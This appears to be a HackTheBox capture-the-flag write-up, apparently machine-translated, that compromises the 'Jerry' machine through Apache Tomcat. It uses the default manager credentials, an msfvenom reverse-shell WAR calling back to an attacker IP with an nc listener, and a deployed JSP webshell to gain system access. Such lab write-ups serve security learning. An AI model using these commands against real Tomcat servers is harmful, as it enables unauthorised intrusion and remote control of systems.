HTB target machine penetration series - Jerry

0 16
Jerry is a simple target machine, involving knowledge points such as Tomcat weak...

Jerry is a simple target machine, involving knowledge points such as Tomcat weak password, Tomcat background deployment of WAR package online, etc. Interested students can learn from HackTheBox.HTB target machine penetration series - Jerry

nmap -p- -sV -sC -A -T4 10.10.10.95 -oA nmap_Jerry

Screenshot 2021-10-15 at 2:21:18 AM
The scan results show that the current target only opens port 8080

Port 8080

Accesshttp://10.10.10.95:8080For the default interface of Apache Tomcat
Screenshot 2021-10-15 at 2:22:25 AM

0x02 Online [system]

Tomcat weak password

Access the default login page of the Tomcat consolehttp://10.10.10.95:8080/manager/html
Screenshot 2021-10-15 at 3:15:26 AM

Prompt to enter account password, redirected to the 401 interface after entering incorrect account information
Screenshot 2021-10-15 at 3:15:07 AM

Login successful with the default account password tomcat/s3cret
Screenshot 2021-10-15 at 3:17:11 AM

Background deployment of the WAR package

The web application system resource (WAR) file is a single file container that includes all potential files required for a Java-based web application, which can contain jar files, jsp files, Java Servlets, Java classes, web pages, and CSS, etc. The directory within the /WEB-INF archive is a special directory that contains a file named web.xml, which is used to define the structure of the application.

Reverse shell

Find the war package deployment option in the management background
Screenshot 2021-10-15 at 4:07:49 PM

Use msfvenom to generate a war package for反弹shell

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=5555 -f war > shell.war

Screenshot 2021-10-15 at 4:12:11 PM

The jar command can list the specific directories and files in the war package

jar -ft shell.war

Screenshot 2021-10-15 at 4:13:07 PM

Deploy the malicious war package on the management interface
Screenshot 2021-10-15 at 4:15:39 PM

Start nc listening locally

nc -nvlp 5555

Access the target trojan file through curl, successfully obtaining a reverse shell with system permissions

curl http://10.10.10.95:8080/shell/besnsrqpgskud.jsp

Screenshot 2021-10-15 at 4:18:45 PM

Look for flags on the administrator's desktop

dir C:\Users\Administrator\Desktop\flags
type C:\Users\Administrator\Desktop\flags\2*

Screenshot 2021-10-15 at 4:21:51 PM
Successfully obtained two flags
Screenshot 2021-10-15 at 4:22:51 PM

webshell

Deployment using webshell is also very popular

cp /usr/share/webshells/jsp/cmdjsp.jsp .

Use the trojan built-in Kali and package it as a war package

jar -cvf cmdjsp.war cmdjsp.jsp

Access after direct deploymenthttp://10.10.10.95:8080/jsp/shell.jsp, which can also obtain system permissions
Screenshot 2021-10-15 at 4:45:05 PM

Viewing the hexadecimal encoding of the war package reveals that the war file is actually a zip archive

head -c 16 shell.war | xxd

You can even directly use unzip to decompress

unzip -l shell.war 

Screenshot 2021-10-15 at 4:52:40 PM

Attempt to analyze the jsp file generated by msfvenom
The idea of the entire target machine is very simple, it is just to obtain system privileges by using weak passwords + war package deployment method, but Tomcat has a very wide range of application scenarios, it is usually deployed with Nginx reverse proxy, in many cases, we cannot access its management interface or it directly returns 403, this does not mean that Tomcat can no longer be exploited, and directory traversal can also be tried to complete the access, for details, please refer to the article "Tomcat and Reverse Proxy Practical Exploitation".

Analysis of the code shows that it completes the following steps:

1. Use a random name to create the path of the file in the local temporary directory
2. If the operating system is Windows, then attach .exe to the end of the file name
3、获取16进制的字符长度
3. Get the length of the hexadecimal character
4. Create a byte array for half the length of the hexadecimal string, because ascii hex uses two characters to represent a byte
5. Loop through the hexadecimal string, convert the hexadecimal string to a byte value and store them in an array
6. Use the previously generated exe path to create a file stream object and write the byte array into it

7. Check if the operating system is Windows, it will create a string array, set the unique entry to the string path of the exe, and then pass it to the exec() execution function. If it is not Windows, chmod +x will be used to add execution permissions before running.

0x03 Summary

Jerry comes from the classic cartoon "Cat and Mouse", the main characters are a cat named Tom and a mouse named Jerry, and the content of the story mainly tells about this pair of old enemies. Through information collection, it is found that the 8080 port is the default interface of Tomcat, the default password of Tomcat console can successfully log in to the console, upload a war package containing a trojan and complete the deployment, thereby obtaining system privileges.

你可能想看:
最后修改时间:
admin
上一篇 2025年03月30日 00:41
下一篇 2025年03月30日 01:04

评论已关闭